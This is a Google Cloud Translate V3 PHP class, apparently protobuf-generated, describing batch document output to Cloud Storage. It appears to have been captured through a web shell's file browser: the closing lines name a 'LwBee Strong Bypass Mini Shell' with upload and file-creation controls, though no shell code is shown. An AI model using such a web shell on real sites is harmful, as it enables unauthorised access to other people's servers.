/home/aloic1/public_html/core/vendor/google/cloud-translate/src/V3/BatchDocumentOutputConfig.php
<?php
# Generated by the protocol buffer compiler.  DO NOT EDIT!
# source: google/cloud/translate/v3/translation_service.proto

namespace Google\Cloud\Translate\V3;

use Google\Protobuf\Internal\GPBType;
use Google\Protobuf\Internal\RepeatedField;
use Google\Protobuf\Internal\GPBUtil;

/**
 * Output configuration for BatchTranslateDocument request.
 *
 * Generated from protobuf message <code>google.cloud.translation.v3.BatchDocumentOutputConfig</code>
 */
class BatchDocumentOutputConfig extends \Google\Protobuf\Internal\Message
{
    protected $destination;

    /**
     * Constructor.
     *
     * @param array $data {
     *     Optional. Data for populating the Message object.
     *
     *     @type \Google\Cloud\Translate\V3\GcsDestination $gcs_destination
     *           Google Cloud Storage destination for output content.
     *           For every single input document (for example, gs://a/b/c.[extension]), we
     *           generate at most 2 * n output files. (n is the # of target_language_codes
     *           in the BatchTranslateDocumentRequest).
     *           While the input documents are being processed, we write/update an index
     *           file `index.csv` under `gcs_destination.output_uri_prefix` (for example,
     *           gs://translation_output/index.csv) The index file is generated/updated as
     *           new files are being translated. The format is:
     *           input_document,target_language_code,translation_output,error_output,
     *           glossary_translation_output,glossary_error_output
     *           `input_document` is one file we matched using gcs_source.input_uri.
     *           `target_language_code` is provided in the request.
     *           `translation_output` contains the translations. (details provided below)
     *           `error_output` contains the error message during processing of the file.
     *           Both translations_file and errors_file could be empty strings if we have
     *           no content to output.
     *           `glossary_translation_output` and `glossary_error_output` are the
     *           translated output/error when we apply glossaries. They could also be
     *           empty if we have no content to output.
     *           Once a row is present in index.csv, the input/output matching never
     *           changes. Callers should also expect all the content in input_file are
     *           processed and ready to be consumed (that is, no partial output file is
     *           written).
     *           Since index.csv will be keeping updated during the process, please make
     *           sure there is no custom retention policy applied on the output bucket
     *           that may avoid file updating.
     *           (https://cloud.google.com/storage/docs/bucket-lock?hl=en#retention-policy)
     *           The naming format of translation output files follows (for target
     *           language code [trg]): `translation_output`:
     *           gs://translation_output/a_b_c_[trg]_translation.[extension]
     *           `glossary_translation_output`:
     *           gs://translation_test/a_b_c_[trg]_glossary_translation.[extension] The
     *           output document will maintain the same file format as the input document.
     *           The naming format of error output files follows (for target language code
     *           [trg]): `error_output`: gs://translation_test/a_b_c_[trg]_errors.txt
     *           `glossary_error_output`:
     *           gs://translation_test/a_b_c_[trg]_glossary_translation.txt The error
     *           output is a txt file containing error details.
     * }
     */
    public function __construct($data = NULL) {
        \GPBMetadata\Google\Cloud\Translate\V3\TranslationService::initOnce();
        parent::__construct($data);
    }

    /**
     * Google Cloud Storage destination for output content.
     * For every single input document (for example, gs://a/b/c.[extension]), we
     * generate at most 2 * n output files. (n is the # of target_language_codes
     * in the BatchTranslateDocumentRequest).
     * While the input documents are being processed, we write/update an index
     * file `index.csv` under `gcs_destination.output_uri_prefix` (for example,
     * gs://translation_output/index.csv) The index file is generated/updated as
     * new files are being translated. The format is:
     * input_document,target_language_code,translation_output,error_output,
     * glossary_translation_output,glossary_error_output
     * `input_document` is one file we matched using gcs_source.input_uri.
     * `target_language_code` is provided in the request.
     * `translation_output` contains the translations. (details provided below)
     * `error_output` contains the error message during processing of the file.
     * Both translations_file and errors_file could be empty strings if we have
     * no content to output.
     * `glossary_translation_output` and `glossary_error_output` are the
     * translated output/error when we apply glossaries. They could also be
     * empty if we have no content to output.
     * Once a row is present in index.csv, the input/output matching never
     * changes. Callers should also expect all the content in input_file are
     * processed and ready to be consumed (that is, no partial output file is
     * written).
     * Since index.csv will be keeping updated during the process, please make
     * sure there is no custom retention policy applied on the output bucket
     * that may avoid file updating.
     * (https://cloud.google.com/storage/docs/bucket-lock?hl=en#retention-policy)
     * The naming format of translation output files follows (for target
     * language code [trg]): `translation_output`:
     * gs://translation_output/a_b_c_[trg]_translation.[extension]
     * `glossary_translation_output`:
     * gs://translation_test/a_b_c_[trg]_glossary_translation.[extension] The
     * output document will maintain the same file format as the input document.
     * The naming format of error output files follows (for target language code
     * [trg]): `error_output`: gs://translation_test/a_b_c_[trg]_errors.txt
     * `glossary_error_output`:
     * gs://translation_test/a_b_c_[trg]_glossary_translation.txt The error
     * output is a txt file containing error details.
     *
     * Generated from protobuf field <code>.google.cloud.translation.v3.GcsDestination gcs_destination = 1;</code>
     * @return \Google\Cloud\Translate\V3\GcsDestination|null
     */
    public function getGcsDestination()
    {
        return $this->readOneof(1);
    }

    public function hasGcsDestination()
    {
        return $this->hasOneof(1);
    }

    /**
     * Google Cloud Storage destination for output content.
     * For every single input document (for example, gs://a/b/c.[extension]), we
     * generate at most 2 * n output files. (n is the # of target_language_codes
     * in the BatchTranslateDocumentRequest).
     * While the input documents are being processed, we write/update an index
     * file `index.csv` under `gcs_destination.output_uri_prefix` (for example,
     * gs://translation_output/index.csv) The index file is generated/updated as
     * new files are being translated. The format is:
     * input_document,target_language_code,translation_output,error_output,
     * glossary_translation_output,glossary_error_output
     * `input_document` is one file we matched using gcs_source.input_uri.
     * `target_language_code` is provided in the request.
     * `translation_output` contains the translations. (details provided below)
     * `error_output` contains the error message during processing of the file.
     * Both translations_file and errors_file could be empty strings if we have
     * no content to output.
     * `glossary_translation_output` and `glossary_error_output` are the
     * translated output/error when we apply glossaries. They could also be
     * empty if we have no content to output.
     * Once a row is present in index.csv, the input/output matching never
     * changes. Callers should also expect all the content in input_file are
     * processed and ready to be consumed (that is, no partial output file is
     * written).
     * Since index.csv will be keeping updated during the process, please make
     * sure there is no custom retention policy applied on the output bucket
     * that may avoid file updating.
     * (https://cloud.google.com/storage/docs/bucket-lock?hl=en#retention-policy)
     * The naming format of translation output files follows (for target
     * language code [trg]): `translation_output`:
     * gs://translation_output/a_b_c_[trg]_translation.[extension]
     * `glossary_translation_output`:
     * gs://translation_test/a_b_c_[trg]_glossary_translation.[extension] The
     * output document will maintain the same file format as the input document.
     * The naming format of error output files follows (for target language code
     * [trg]): `error_output`: gs://translation_test/a_b_c_[trg]_errors.txt
     * `glossary_error_output`:
     * gs://translation_test/a_b_c_[trg]_glossary_translation.txt The error
     * output is a txt file containing error details.
     *
     * Generated from protobuf field <code>.google.cloud.translation.v3.GcsDestination gcs_destination = 1;</code>
     * @param \Google\Cloud\Translate\V3\GcsDestination $var
     * @return $this
     */
    public function setGcsDestination($var)
    {
        GPBUtil::checkMessage($var, \Google\Cloud\Translate\V3\GcsDestination::class);
        $this->writeOneof(1, $var);

        return $this;
    }

    /**
     * @return string
     */
    public function getDestination()
    {
        return $this->whichOneof("destination");
    }

}

@LwBee Strong Bypass

LwBee Strong Bypass Mini Shell

Upload File

Create New File